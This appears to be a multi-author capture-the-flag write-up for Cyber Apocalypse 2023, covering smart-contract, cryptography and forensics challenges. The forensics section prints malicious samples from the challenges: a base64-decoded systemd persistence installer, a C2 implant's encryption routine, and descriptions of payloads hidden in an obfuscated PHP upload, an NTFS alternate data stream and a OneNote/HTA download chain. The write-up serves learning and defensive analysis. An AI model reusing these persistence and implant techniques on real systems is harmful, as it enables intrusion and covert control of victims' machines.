Cyber Apocalypse 2023

blockchain

Solved by : thewhiteh4t

  • Unknown.sol contains our contract with a simple condition i.e. if value version is 10 updated is set to True
  • When we connect with netcat and print flag, value of updated is checked, if value is True the flag is presented
  • First we need to get the current value of target address :

  • Target address is required to interact with the contract
  • I used web3py to interact with the contract using the following script :
from web3 import Web3
from solcx import compile_source

w3 = Web3(Web3.HTTPProvider('http://167.172.50.208:32499'))

print(f'Connected : {w3.is_connected()}')

target = '0xBB5Cd458D2691070a1c9460C2d5882253e36a5c0'

with open('Unknown.sol', 'r') as solfile:
        sol_code = solfile.read()

compiled_sol = compile_source(sol_code, output_values=['abi', 'bin'])
contract_id, contract_interface = compiled_sol.popitem()
abi = contract_interface['abi']

print('Updating Value to 10')
contract_instance = w3.eth.contract(address=target, abi=abi)
contract_instance.functions.updateSensors(10).transact()
  • Script first checks connection with the rpc endpoint
  • After that it compiles the contract source code, this is required to get value of abi i.e. Application Binary Interface
  • Its a sort of definition of the functions and data types present in the contract
  • abi of unknown.sol :
    [
            {
                    'inputs': [
                            {
                                    'internalType': 'uint256',
                                    'name': 'version',
                                    'type': 'uint256'
                            }
                    ],
                    'name': 'updateSensors', 
                    'outputs': [], 
                    'stateMutability': 'nonpayable', 
                    'type': 'function'
            }, 
            {
                    'inputs': [],
                    'name': 'updated', 
                    'outputs': 
                            [
                                    {
                                            'internalType': 'bool', 
                                            'name': '', 
                                            'type': 'bool'
                                    }
                            ],
                    'stateMutability': 'view',
                    'type': 'function'
            }
    ]
  • So in this we can see our target function name is updateSensors
  • Finally script calls transact function on updateSensors with argument 10 which is the value of version required to set updated to True
  • After running the script and going back to netcat we can print the flag


Shooting 101

Solved by : thewhiteh4t

  • In this challenge we are introduced with fallback , receive and modifiers
  • in ShootingArea.sol three modifiers are present like :
    modifier firstTarget() {
            require(!firstShot && !secondShot && !thirdShot);
            _;
        }
  • Require as the name suggests waits for the conditions to become satisfactory
  • when the conditions are satisfied it uses a wildcard merge i.e. _;
  • firstTarget modifier is mentioned in the following section of the code :
    fallback() external payable firstTarget {
            firstShot = true;
        }
  • This means that fallback() will only execute when conditions in firstTarget are satisfied
  • when fallback will run firstShot will become True
  • similarly there are two more modifiers with different conditions
  • in my understanding (don’t trust this) fallback is called if a non existent function is called or if random data is sent to the contract in a transaction
  • after calling fallback receive is usable and finally third function is usable
  • while trying I was trying to use transact() on them but they were throwing errors
  • they work in the specific order in this challenge (maybe?)
  • Here is the script :
from web3 import Web3
from web3 import exceptions
from solcx import compile_source
import time

w3 = Web3(Web3.HTTPProvider('http://104.248.169.177:30380'))

print(f'Connected : {w3.is_connected()}\n')

target = '0x09c3Dfe533774564a7761b5fEC15Ff5b0264Ec64'
addr = '0x73Fca728DbD9592D28DF01f8a63427912498a50E'

with open('ShootingArea.sol', 'r') as solfile:
    sol_code = solfile.read()

compiled_sol = compile_source(sol_code, output_values=['abi', 'bin'])
contract_id, contract_interface = compiled_sol.popitem()
abi = contract_interface['abi']

contract_instance = w3.eth.contract(address=target, abi=abi)

f_shot = contract_instance.functions.firstShot().call()
s_shot = contract_instance.functions.secondShot().call()
t_shot = contract_instance.functions.thirdShot().call()

print(f'First Shot : {f_shot}')
print(f'Second Shot : {s_shot}')
print(f'Third Shot : {t_shot}\n')


print('Hitting First Target...')
w3.eth.send_transaction({
    'to': target,
    'from': addr,
    'value': 0,
    'data': '0x1'
})
upd_f_shot = contract_instance.functions.firstShot().call()
print(f'First Shot : {upd_f_shot}')

print('Hitting Second Target...')
contract_instance.receive.transact()
upd_s_shot = contract_instance.functions.secondShot().call()
print(f'Second Shot : {upd_s_shot}')

print('Hitting Third Target...')
contract_instance.functions.third().transact()
upd_t_shot = contract_instance.functions.thirdShot().call()
print(f'Third Shot : {upd_t_shot}')

  • To solve we need to hit all three targets i.e. turn all to True :


nigamelastic’s Solution to the two Blockchain challenges

A lot of stuff to install web3py https://remix.ethereum.org/#lang=en&optimize=false&runs=200&evmVersion=null&version=soljson-v0.8.18+commit.87f61d96.js

Target details:

Private key     :  0x9ccac2d9cb08e106e616725eb93ae220b74e45f84fcba7144385cbbf50be4287
Address         :  0x2F89F82055E803b470Da977C8260B4B25d0Fc43B
Target contract :  0x91FCa15f2602469894850ACEd90A6Fa523338e5d
Setup contract  :  0x00Ac07B771a835CA9E31A38B2FFFB2F1695dF6Fe

connected to rpc url:

 kali  python3
Python 3.11.2 (main, Feb 12 2023, 00:48:52) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from web3 import Web3
>>> rpc_url="http://144.126.196.198:31920"
>>> web3 = Web3(Web3.HTTPProvider(rpc_url))
>>> web3.isConnected()

Checking stuff in ur private key:

private_key = '0x9ccac2d9cb08e106e616725eb93ae220b74e45f84fcba7'
account: LocalAccount = Account.from_key(private_key)
print(f"Your hot wallet address is {account.address}")
public_address='0x2F89F82055E803b470Da977C8260B4B25d0Fc43B'
>>> balance = web3.eth.get_balance(public_address)
>>> print(balance)
5000000000000000000000
web3.default_account = account.address
target_contract='0x91FCa15f2602469894850ACEd90A6Fa523338e5d'
from web3.gas_strategies.rpc import rpc_gas_price_strategy
web3.eth.set_gas_price_strategy(rpc_gas_price_strategy)

running transaction keeps giving me error

Traceback (most recent call last):
  File "/home/kali/Desktop/repos/Writeups/cyberapocalypse/cyberapolcalypse2023/blockchain/blockchain_navigating_the_unknown/solution2.py", line 6, in <module>
    print(w3.isConnected())
          ^^^^^^^^^^^^^^
AttributeError: 'Web3' object has no attribute 'isConnected'. Did you mean: 'is_connected'?

yeah all of that is BS, screw python learn nodejs like this:

const Web3 = require('web3');
const abi = [
    {
        "inputs": [
            {
                "internalType": "uint256",
                "name": "version",
                "type": "uint256"
            }
        ],
        "name": "updateSensors",
        "outputs": [],
        "stateMutability": "nonpayable",
        "type": "function"
    },
    {
        "inputs": [],
        "name": "updated",
        "outputs": [
            {
                "internalType": "bool",
                "name": "",
                "type": "bool"
            }
        ],
        "stateMutability": "view",
        "type": "function"
    }
];
const contractAddress = '0x7b92F8C66e04b3cc857218EeFaA433eab35F10d0';
const rpcUrl = 'http://188.166.152.84:30963';
const web3 = new Web3(new Web3.providers.HttpProvider(rpcUrl));
const contract = new web3.eth.Contract(abi, contractAddress);
const version = 10;
contract.methods.updateSensors(version).send({ from: '0x5Bb68dc361f80fabB55916189af56d850d98FFDE' }, (error, txHash) => {
    if (error) {
        console.log('Error:', error);
    } else {
        console.log('Transaction hash:', txHash);
    }
});

to get the flag


Shooting 101

const Web3 = require('web3');
const web3 = new Web3('http://165.232.108.240:31803');

// import the ABI of the ShootingArea and Setup contracts
const shootingAreaABI = [{"inputs":[],"stateMutability":"payable","type":"constructor"},{"inputs":[],"name":"firstShot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"secondShot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"thirdShot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fallback","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"bool","name":"","type":"bool"}],"name":"firstTarget","outputs":[],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"","type":"bool"}],"name":"secondTarget","outputs":[],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"","type":"bool"}],"name":"thirdTarget","outputs":[],"stateMutability":"view","type":"function"},{"inputs":[],"name":"third","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"receive","outputs":[],"stateMutability":"payable","type":"function"}];
const setupABI = [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"isSolved","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"}];

// create contract instances
const shootingAreaAddress = '0xAbfA937f5DAA74d1a85b4e57Ad129be70b4C31c0';
const shootingAreaContract = new web3.eth.Contract(shootingAreaABI, shootingAreaAddress);

const setupAddress = '0xc1023661c8d6A9d19c6fC9a76f7124b843E41eEF';
const setupContract = new web3.eth.Contract(setupABI, setupAddress);

async function solvePuzzle() {
  // send a transaction to the fallback function of the ShootingArea contract
  const tx = await web3.eth.sendTransaction({
    to: shootingAreaAddress,
    value: web3.utils.toWei('1', 'ether')
  });
  console.log(`Sent transaction to ShootingArea fallback function. Transaction hash: ${tx.transactionHash}`);

  // send a transaction to the receive function of the ShootingArea contract
  const tx2 = await web3.eth.sendTransaction({
    to: shootingAreaAddress,
    value: web3.utils.toWei('1', 'ether')
  });
  console.log(`Sent transaction to ShootingArea receive function. Transaction hash: ${tx2.transactionHash}`);

  // call the third function of the ShootingArea contract
  const tx3 = await shootingAreaContract.methods.third().send();
  console.log(`Called ShootingArea third function. Transaction hash: ${tx3.transactionHash}`);

  // check if the puzzle is solved
  const isSolved = await setupContract.methods.isSolved().call();
  console.log(`Puzzle solved? ${isSolved}`);
}

solvePuzzle();

yeah that didnt work but we see fallback function

as per

https://www.geeksforgeeks.org/solidity-fall-back-function/

Only one unnamed function can be assigned to a contract and it is executed whenever the contract receives plain Ether without any data

I am using this to check the boolean value of all the three flags:

const Web3 = require('web3');
const web3 = new Web3(new Web3.providers.HttpProvider('http://165.232.100.46:31589'));
const YOUR_ADDRESS = '0x925A577a42A87bb4B364e9fc8D987779f5B05442';
const fromAddress = YOUR_ADDRESS
const setupAbi = [
  {
    "inputs": [],
    "stateMutability": "nonpayable",
    "type": "constructor"
  },
  {
    "inputs": [],
    "name": "TARGET",
    "outputs": [
      {
        "internalType": "contract ShootingArea",
        "name": "",
        "type": "address"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "isSolved",
    "outputs": [
      {
        "internalType": "bool",
        "name": "",
        "type": "bool"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  }
];
const shootingAreaAbi = [
  {
    "inputs": [],
    "name": "firstShot",
    "outputs": [
      {
        "internalType": "bool",
        "name": "",
        "type": "bool"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "secondShot",
    "outputs": [
      {
        "internalType": "bool",
        "name": "",
        "type": "bool"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "thirdShot",
    "outputs": [
      {
        "internalType": "bool",
        "name": "",
        "type": "bool"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  }
];
// Import web3 library and contract ABI
const abi = shootingAreaAbi;

// Create contract instance
const contractAddress = '0x010953B8CBe4dF657D80EDd832825A1d1Fc0972D';
const shootingArea = new web3.eth.Contract(abi, contractAddress);
// Call getter functions for firstShot, secondShot, and thirdShot
shootingArea.methods.firstShot().call((err, result) => {
  if (err) {
    console.error(err);
    return;
  }
  console.log(`First shot: ${result}`);
});
shootingArea.methods.secondShot().call((err, result) => {
  if (err) {
    console.error(err);
    return;
  }
  console.log(`Second shot: ${result}`);
});
shootingArea.methods.thirdShot().call((err, result) => {
  if (err) {
    console.error(err);
    return;
  }
  console.log(`Third shot: ${result}`);
});

web3.eth.getBalance(fromAddress, (error, result) => {
  if (error) {
    console.error(error);
  } else {
    console.log('Balance in wei:', result);
    console.log('Balance in ether:', web3.utils.fromWei(result, 'ether'));
  }
});
/* txHash='0xcf1cfac084f18e9795a79d8f04be0403b12b5536cd1eb56ab206246fd0442d80'
web3.eth.getTransactionReceipt(txHash, function(err, receipt) {
  console.log(receipt);
});
 */

basically:

Use for first we need to trigger fallback() without receive() : in order to trigger fallback we need to send a transaction with 0 data so use this:

try {
    const tx1 = await web3.eth.sendTransaction({
        to: contractAddress,
        value: web3.utils.toWei('1', 'ether'),
        from: fromAddress,
        data: '00' //comment this for second shot
    });
    } catch (error) {
    console.log('Error calling functions:', error);
}

for second shot aka receive run following:

try {
    const tx1 = await web3.eth.sendTransaction({
        to: contractAddress,
        value: web3.utils.toWei('1', 'ether'),
        from: fromAddress,
      
    });
    } catch (error) {
    console.log('Error calling functions:', error);

For the third run this:

const contract = new web3.eth.Contract(contractAbi, contractAddress);


contract.methods.third().send({ from: '0x34Cf03f8487C773c36bfd3A632178c501C62e7d7' }, (error, txHash) => {
    if (error) {
        console.log('Error:', error);
    } else {
        console.log('Transaction hash:', txHash);
    }
});

All three conditions met we get the flag


crypto

Ancient Encodings

Solved by Legend

Challenge description

Your initialization sequence requires loading various programs to gain the necessary knowledge and skills for your journey. Your first task is to learn the ancient encodings used by the aliens in their communication.

In this challenge we were provided a python script named source.py and output.txt file containing the encrypted flag.

# source.py
from Crypto.Util.number import bytes_to_long
from base64 import b64encode

FLAG = b"HTB{??????????}"


def encode(message):
    return hex(bytes_to_long(b64encode(message)))


def main():
    encoded_flag = encode(FLAG)
    with open("output.txt", "w") as f:
        f.write(encoded_flag)


if __name__ == "__main__":
    main()
# output.txt
0x53465243657a467558336b7764584a66616a4231636d347a655639354d48566664326b786246397a5a544e66644767784e56396c626d4d775a4446755a334e665a58597a636e6c33614756794d33303d

The script is encoding the flag in hex --> base64 to encrypt the flag.

To solve this I used CyberChef with following steps


Perfect Synchronization

Solved by Avantika(@iamavu)

Challenge Description

The final stage of your initialization sequence is mastering cutting-edge technology tools that can be life-changing. One of these tools is quipqiup, an automated tool for frequency analysis and breaking substitution ciphers. This is the ultimate challenge, simulating the use of AES encryption to protect a message. Can you break it?

We are given two files, one is very long hex text file and another one is the below is the source.py

#import library and the plaintext(flag)
from os import urandom 
from Crypto.Cipher import AES
from secret import MESSAGE

#make all characters from the message in uppercase except underscore, curly braces and space
assert all([x.isupper() or x in '{_} ' for x in MESSAGE])


class Cipher:

    def __init__(self):
        self.salt = urandom(15) #generate secure random salt using 'urandom'
        key = urandom(16) #generate secure random key using 'urandom'
        self.cipher = AES.new(key, AES.MODE_ECB) #generate aes-ecb cipher

    def encrypt(self, message):
        return [self.cipher.encrypt(c.encode() + self.salt) for c in message] #encode the string, add salt and then encrypy it char by char


def main():
    cipher = Cipher()
    encrypted = cipher.encrypt(MESSAGE) #encrypt the plaintext/flag
    encrypted = "\n".join([c.hex() for c in encrypted]) #hex it up char by char with new line after every char

    with open("output.txt", 'w+') as f:
        f.write(encrypted) #write the file to output.txt


if __name__ == "__main__":
    main()

P.S - Comments are added by me, challenge didn’t have the comments

So we know what the source.py is doing, but here is the catch, if you open up the output.txt you will see that lot of the hex strings are being repeated and the description mentions the tool quipqiup which is a frequency analysis tool.

My approach to this was that each char would be alphabet excluding the underscore, curly braces and space. So the encryption of let’s say a would be the same hex string because that’s how AES-ECB works. So if we have default frequency of english alphabet, and we calculate frequency of various hex strings in the output.txt we should be able to co-relate which hex string is which character and then pass this new replaced text to quipqiup and get our flag time to script, hackers!

import collections

default_frequency = list("ETAOINSRHDLUCMFYWGPBVKXQJZ _{}") #default frequnece of english alphabet
output = open('output.txt', 'r') 
ct_list = output.readlines() #read the output file line by line
final_list = [item.replace('\n', '') for item in ct_list] #remove the new line and make it a list
frequency = collections.Counter(final_list) #create dict with key/value pair of string and it's frequency
sorted_dict = dict(sorted(dict(frequency).items(), key=lambda x:x[1], reverse=True)) #looks a lot but it essentially sorts the dict by value (frequency)
ultra_dict = dict(zip(sorted_dict, default_frequency)) #create a dict with value replaced with alphabets
text = ''.join(ct_list) #get the ciphertext
for hexvalue, letter in ultra_dict.items():
        text = text.replace(hexvalue, letter) #replace each hext string in cipher text with the letter it belongs to from the final dict we created
print(text.replace('\n', ''))
print('\n')
print("Send above text to quipqiup") 
output.close()

Well, that was really messy logic and very bad code but it works : D We will get output of some text when you run this

YNTJCTRLFEORODFASAESAEPOATMEHREIUTEYOLIEIUOIESREORFEGSXTREAINTILUEHYEVNSIITREDORGCOGTELTNIOSREDTIITNAEORMELHBPSROISHRAEHYEDTIITNAEHLLCNEVSIUEXONFSRGEYNTJCTRLSTAEBHNTHXTNEIUTNTESAEOELUONOLITNSAISLEMSAINSPCISHREHYEDTIITNAEIUOIESAENHCGUDFEIUTEAOBTEYHNEODBHAIEODDEAOBWDTAEHYEIUOIEDORGCOGTESRELNFWIORODFASAEYNTJCTRLFEORODFASAEODAHEKRHVREOAELHCRISRGEDTIITNAESAEIUTEAICMFEHYEIUTEYNTJCTRLFEHYEDTIITNAEHNEGNHCWAEHYEDTIITNAESREOELSWUTNITZIEIUTEBTIUHMESAECATMEOAEOREOSMEIHEPNTOKSRGELDOAASLODELSWUTNAEYNTJCTRLFEORODFASAENTJCSNTAEHRDFEOEPOASLECRMTNAIORMSRGEHYEIUTEAIOISAISLAEHYEIUTEWDOSRITZIEDORGCOGTEORMEAHBTEWNHPDTBEAHDXSRGEAKSDDAEORMESYEWTNYHNBTMEPFEUORMEIHDTNORLTEYHNETZITRASXTEDTIITNEPHHKKTTWSRGEMCNSRGEVHNDMEVONESSEPHIUEIUTEPNSISAUEORMEIUTEOBTNSLORAENTLNCSITMELHMTPNTOKTNAEPFEWDOLSRGELNHAAVHNMEWCQQDTAESREBO_HNERTVAWOWTNAEORMENCRRSRGELHRITAIAEYHNEVUHELHCDMEAHDXTEIUTBEIUTEYOAITAIEATXTNODEHYEIUTELSWUTNAECATMEPFEIUTEOZSAEWHVTNAEVTNTEPNTOKOPDTECASRGEYNTJCTRLFEORODFASAEYHNETZOBWDTEAHBTEHYEIUTELHRACDONELSWUTNAECATMEPFEIUTE_OWORTATEBTLUORSLODEBTIUHMAEHYEDTIITNELHCRISRGEORMEAIOISAISLODEORODFASAEGTRTNODDFEUIP{O ASBWDT ACPAISICISHR SA VTOK}ELONMEIFWTEBOLUSRTNFEVTNTEYSNAIECATMESREVHNDMEVONESSEWHAASPDFEPFEIUTECAEONBFAEASAEIHMOFEIUTEUONMEVHNKEHYEDTIITNELHCRISRGEORMEORODFASAEUOAEPTTRENTWDOLTMEPFELHBWCITNEAHYIVONTEVUSLUELORELONNFEHCIEACLUEORODFASAESREATLHRMAEVSIUEBHMTNRELHBWCISRGEWHVTNELDOAASLODELSWUTNAEONTECRDSKTDFEIHEWNHXSMTEORFENTODEWNHITLISHREYHNELHRYSMTRISODEMOIOEWCQQDTEWCQQDTEWCQQDT

and when you send this to https://quipqiup.com/ we will get out plaintext

FREQUENCYZANALYSISZISZBASEDZONZTHEZFACTZTHATZINZANYZGIVENZSTRETCHZOFZWRITTENZLANGUAGEZCERTAINZLETTERSZANDZCOMBINATIONSZOFZLETTERSZOCCURZWITHZVARYINGZFREQUENCIESZMOREOVERZTHEREZISZAZCHARACTERISTICZDISTRIBUTIONZOFZLETTERSZTHATZISZROUGHLYZTHEZSAMEZFORZALMOSTZALLZSAMPLESZOFZTHATZLANGUAGEZINZCRYPTANALYSISZFREQUENCYZANALYSISZALSOZKNOWNZASZCOUNTINGZLETTERSZISZTHEZSTUDYZOFZTHEZFREQUENCYZOFZLETTERSZORZGROUPSZOFZLETTERSZINZAZCIPHERTEXTZTHEZMETHODZISZUSEDZASZANZAIDZTOZBREAKINGZCLASSICALZCIPHERSZFREQUENCYZANALYSISZREQUIRESZONLYZAZBASICZUNDERSTANDINGZOFZTHEZSTATISTICSZOFZTHEZPLAINTEXTZLANGUAGEZANDZSOMEZPROBLEMZSOLVINGZSKILLSZANDZIFZPERFORMEDZBYZHANDZTOLERANCEZFORZEXTENSIVEZLETTERZBOOKKEEPINGZDURINGZWORLDZWARZIIZBOTHZTHEZBRITISHZANDZTHEZAMERICANSZRECRUITEDZCODEBREAKERSZBYZPLACINGZCROSSWORDZPUJJLESZINZMA_ORZNEWSPAPERSZANDZRUNNINGZCONTESTSZFORZWHOZCOULDZSOLVEZTHEMZTHEZFASTESTZSEVERALZOFZTHEZCIPHERSZUSEDZBYZTHEZAXISZPOWERSZWEREZBREAKABLEZUSINGZFREQUENCYZANALYSISZFORZEXAMPLEZSOMEZOFZTHEZCONSULARZCIPHERSZUSEDZBYZTHEZ_APANESEZMECHANICALZMETHODSZOFZLETTERZCOUNTINGZANDZSTATISTICALZANALYSISZGENERALLYZHTB{A SIMPLE SUBSTITUTION IS WEAK}ZCARDZTYPEZMACHINERYZWEREZFIRSTZUSEDZINZWORLDZWARZIIZPOSSIBLYZBYZTHEZUSZARMYSZSISZTODAYZTHEZHARDZWORKZOFZLETTERZCOUNTINGZANDZANALYSISZHASZBEENZREPLACEDZBYZCOMPUTERZSOFTWAREZWHICHZCANZCARRYZOUTZSUCHZANALYSISZINZSECONDSZWITHZMODERNZCOMPUTINGZPOWERZCLASSICALZCIPHERSZAREZUNLIKELYZTOZPROVIDEZANYZREALZPROTECTIONZFORZCONFIDENTIALZDATAZPUJJLEZPUJJLEZPUJJLE

Which is sorta broken as Z came in the place of space and space came in the place of _ but it sorta worked(?) we have our flag string HTB{A SIMPLE SUBSTITUTION IS WEAK} replace space by underscore and we good to go HTB{A_SIMPLE_SUBSTITUTION_IS_WEAK}


Small StEps

Solved by Starry-Lord

challenge description

──(starlord㉿HAL-9090)-[~/Bureau/tools/RsaCtfTool]
└─$ python3 RsaCtfTool.py -n 5597972584718598406690499051990413577290211490538759507986683212737503437232726430145509927989660577399319692954532703407466611677039848415663500281956971 -e 3 --uncipher 70407336670535933819674104208890254240063781538460394662998902860952366439176467447947737680952277637330523818962104685553250402512989897886053


Results for /tmp/tmp3441ap7k:

Unciphered data :
HEX : 0x4854427b356d61316c5f452d7870306e336e747d
INT (big endian) : 412926389432612660984016953290834154417829082237
INT (little endian) : 716220332648329290345370113693957684850803758152
utf-8 : HTB{5ma1l_E-xp0n3nt}
utf-16 : 呈筂洵ㅡ彬ⵅ灸渰渳絴
STR : b'HTB{5ma1l_E-xp0n3nt}'

forensics

Plaintext Tleasure

Solved by : thewhiteh4t

  • Simple challenge, just go through HTTP requests and flag is sent in a POST request

HTB{th3s3_4l13ns_st1ll_us3_HTTP}

Alien cradle

Solved by : thewhiteh4t

  • A powershell script is given
  • the flag is present in a variable f in concatenated form

    HTB{p0w3rsh3ll_Cr4dl3s_c4n_g3t_th3_j0b_d0n3}


Extraterrestrial persistence

Solved by : thewhiteh4t

  • A bash script is given which installs a systemd service
  • one of the lines contains an echo command :
echo -e "W1VuaXRdCkRlc2NyaXB0aW9uPUhUQnt0aDNzM180bDEzblNfNHIzX3MwMDAwMF9iNHMxY30KQWZ0ZXI9bmV0d29yay50YXJnZXQgbmV0d29yay1vbmxpbmUudGFyZ2V0CgpbU2VydmljZV0KVHlwZT1vbmVzaG90ClJlbWFpbkFmdGVyRXhpdD15ZXMKCkV4ZWNTdGFydD0vdXNyL2xvY2FsL2Jpbi9zZXJ2aWNlCkV4ZWNTdG9wPS91c3IvbG9jYWwvYmluL3NlcnZpY2UKCltJbnN0YWxsXQpXYW50ZWRCeT1tdWx0aS11c2VyLnRhcmdldA=="|base64 --decode > /usr/lib/systemd/system/service.service
  • Decoding the base64 string gives us the flag
HTB{th3s3_4l13nS_4r3_s00000_b4s1c}

Roten

Solved by : thewhiteh4t

  • A PCAP file is given again
  • Apply a filter to view only POST requests :
http.request.method=="POST"
  • In one of the requests we can see a PHP file by the name galacticmap.php is uploaded

  • It is a obfuscated PHP file, in its last line of code eval function is executed
  • To de-obfuscate I commented out the eval and added an echo

  • After running this PHP file we can get the flag :


Packet cyclone

Solved by : thewhiteh4t

  • We are given Windows EVTX files and sigma rules for detecting exfiltration using rclone
  • To scan these EVTX files we can use chainsaw which supports sigma rules
chainsaw hunt -s sigma_rules -m sigma-event-logs-all.yml Logs
  • Two detection are shown
  • First one contains credentials of mega.nz

  • Second contains file paths

  • Here are the correct answers based on information given in these two detection :


Artifacts of disastrous sightings

Solved by : thewhiteh4t

  • In this challenge we start with a vhdx file which is a type of virtual hard disk
> file 2023-03-09T132449_PANDORA.vhdx
2023-03-09T132449_PANDORA.vhdx: Microsoft Disk Image eXtended, by .NET DiscUtils, sequence 0x8; LOG; region, 2 entries, id Metadata, at 0x200000, Required 1, id BAT, at 0x300000, Required 1
  • Before we can mount this disk we need to find partition information using guestfish :
> guestfish -a 2023-03-09T132449_PANDORA.vhdx

Welcome to guestfish, the guest filesystem shell for
editing virtual machine filesystems and disk images.

Type: ‘help’ for help on commands
      ‘man’ to read the manual
      ‘quit’ to quit the shell

><fs> run
><fs> list-filesystems
/dev/sda1: ntfs
><fs> exit
  • Now we can mount it using guestmount :
> guestmount -a 2023-03-09T132449_PANDORA.vhdx -m /dev/sda1 --ro mpoint
  • Now I started enumerating with the given hints in challenge description :
> notices the Windows Event Viewer tab open on the Security log
> takes a snapshot of her machine and shuts it down
> diving deep down and following all traces
  • After some digging I landed on powershell command history :
C/Users/Pandora/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline

  • So attackers executed a command and removed powershell logs
  • At this point I went looking into multiple ways of extracting and reading powershell EVTX logs but could not find anything useful
  • Then I finally realized that the command is actually creating a hidden.ps1 in Alternate Data Stream , this is an NTFS specific feature and attackers can hide payloads in ADS
  • After this I realized the title of the challenge is also a big hint which I totally missed otherwise it would have saved lot of time
  • After switching to windows I confirmed my doubts and it was indeed ADS :
PS E:\C\Windows\Tasks> Get-Item * -Stream *

  • for reading hidden.ps1 :
PS E:\C\Windows\Tasks> get-item .\ActiveSyncProvider.dll | Get-Content -Stream 'hidden.ps1'

  • I got excited and quickly loaded the encoded string in cyberchef and this happened :

  • A very long string of these special characters, at this point I kept trying to fix the base64 because there are many sections which are duplicate
  • Finally I gave up on fixing and started to find more about this type of encoding and after sometime landed on this project :

https://github.com/danielbohannon/Invoke-Obfuscation

  • This project uses a technique found by 牟田口大介 (@mutaguchi) :

http://perl-users.jp/articles/advent-calendar/2010/sym/11

  • This turned out to be a custom encoding technique and I could not find any de-obfuscator for it, so the easiest way forward was to just run the script and extract the script blocks from EVTX files in windows
  • By default module logging and script block logging are disabled, I enabled both in GPO

  • After this I executed hidden.ps1 and checked event logs and finally I saw some readable code :

  • Now I started looking for more code but not much was visible in viewer so I started looking for something to extract script blocks and found this nice blog :

https://vikas891.medium.com/join-powershell-script-from-event-logs-12deef6dd5ab

https://gist.githubusercontent.com/vikas891/841ac223e69913b49dc2aa9cc8663e34/raw/ce73035acd161c181da2bc9bb4fdab235e0f0de2/ExtractAllScripts.ps1

  • The script provided at the end worked perfectly!

  • In one of the scripts I got the flag :


Relic Maps

Solved by: Bobbysox

The relic maps challenge started with the link to one file called relicmaps.one. This is a onedrive file and has been the focus of recent breaches because it can bypass the Mark of the Web(MOTW). I used a tool called pyone note.

https://github.com/DissectMalware/pyOneNote

Now that we have extracted all the data the next thing to do was hunt down the macros that were likely used for this attack. This attacker embedded an hta file that contained vbscript. This vbscript would effectively reach out for the “payload”

initial access vector exploit chain phish>.hta>vbscript>wmi>download>cmd_exec

The only valid url out of those was the windows.bat file. It was a mess, but there were three separate parts to this payload that make it “work”

The table of obfuscated strings:

The commands that these strings were being mapped to:

User-uploaded image: image.png

This isnt actually encryption or encoding, its a long and obnoxious obfuscation technique instead. The values pictured above, were mapped to a section of encrypted text that appeared lower in the windows.bat file:

Unknown data:

You can confirm this by decrypting a few blocks and see if it makes sense like so:

to help assist in the decryption of the text, TwH assisted with a python script that could automate this:

Now that the python script did most of the heavy lifting, I just separated the script by the variables and the one function that was present:

From here it was very trivial. This has been seen in the wild and written about by sans instructors here: https://isc.sans.edu/diary/A+First+Malicious+OneNote+Document/29470 it was quite easy as it was just reverse base64 as noted here:

('gnirtS46esaBmorF'[-1..-16] -join '')

We have completely reverse engineered the cryptographic functions and have managed to obtain the full keys. There was only one data set we havent used yet. Pretty solid guess that it is our actual payload. The only thing we had to do to get the flag was follow the sans article exactly on how they decrypted the payload.


Interstellar C2

Solved by : thewhiteh4t

  • Challenge begins with a PCAPNG file with about 8K packets containing c2 traffic
  • After some poking around it was clear that this c2 was using HTTP protocol
  • Working in the order of packets first packet contains a request for a powershell script

  • It was slightly obfuscated so I used PSDecode, after decoding :

  • It fetches an encrypted blob from the c2 server using BitsTransfer
  • Decrypts using hardcoded key and iv and stores it as an exe file
  • This request in wireshark :

  • By modifying the ps1 script I got the exe file :

  • De-compiling the exe was very easy because it was written in c#

  • This exe file turns out to be an implant used by the c2
  • Now the first get request after ps1 script download is made by this implant :

  • This turns out to be another encrypted blob, this url query is hardcoded in the source code :

  • The key for AES is also hardcoded
  • Lets look at the encryption function of the implant :
private static string Encryption(string key, string un, bool comp = false, byte[] unByte = null)
    {
        byte[] array = null;
        array = (byte[])((unByte == null) ? ((object)Encoding.UTF8.GetBytes(un)) : ((object)unByte));
        if (comp)
        {
            array = Compress(array);
        }
        try
        {
            SymmetricAlgorithm val = CreateCam(key, null);
            byte[] second = val.CreateEncryptor().TransformFinalBlock(array, 0, array.Length);
            return Convert.ToBase64String(Combine(val.get_IV(), second));
        }
        catch
        {
            SymmetricAlgorithm val2 = CreateCam(key, null, rij: false);
            byte[] second2 = val2.CreateEncryptor().TransformFinalBlock(array, 0, array.Length);
            return Convert.ToBase64String(Combine(val2.get_IV(), second2));
        }
    }
  • Standard AES encryption, but the value of IV is not hardcoded, this was very interesting because all of the implant traffic is encrypted
  • we can assume that the server has the key, but if we look at the encryption function the iv is generated on the victim machine by the implant, so server does not have the IV
  • so how is the server decrypting requests ? I kept looking in the code and pcap for hours but I could not find it
  • finally when i looked at everything I had, the URL was the only plain text data being sent to the server! So I tried to use part of the hardcoded URL as the IV :

  • and it works! I got another base64 block, after decrypting that :

  • First line contains the random URI value which we can see in the pcap
  • After that there is a large array which contains more URLs similar to the hardcoded one
  • Similarly it also contains base64 for PNG images and other juicy stuff
  • Server sends a new key for AES encryption :
nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=

What is going on ?

  • The implant makes a GET request to the c2 server to grab URLs, images and keys
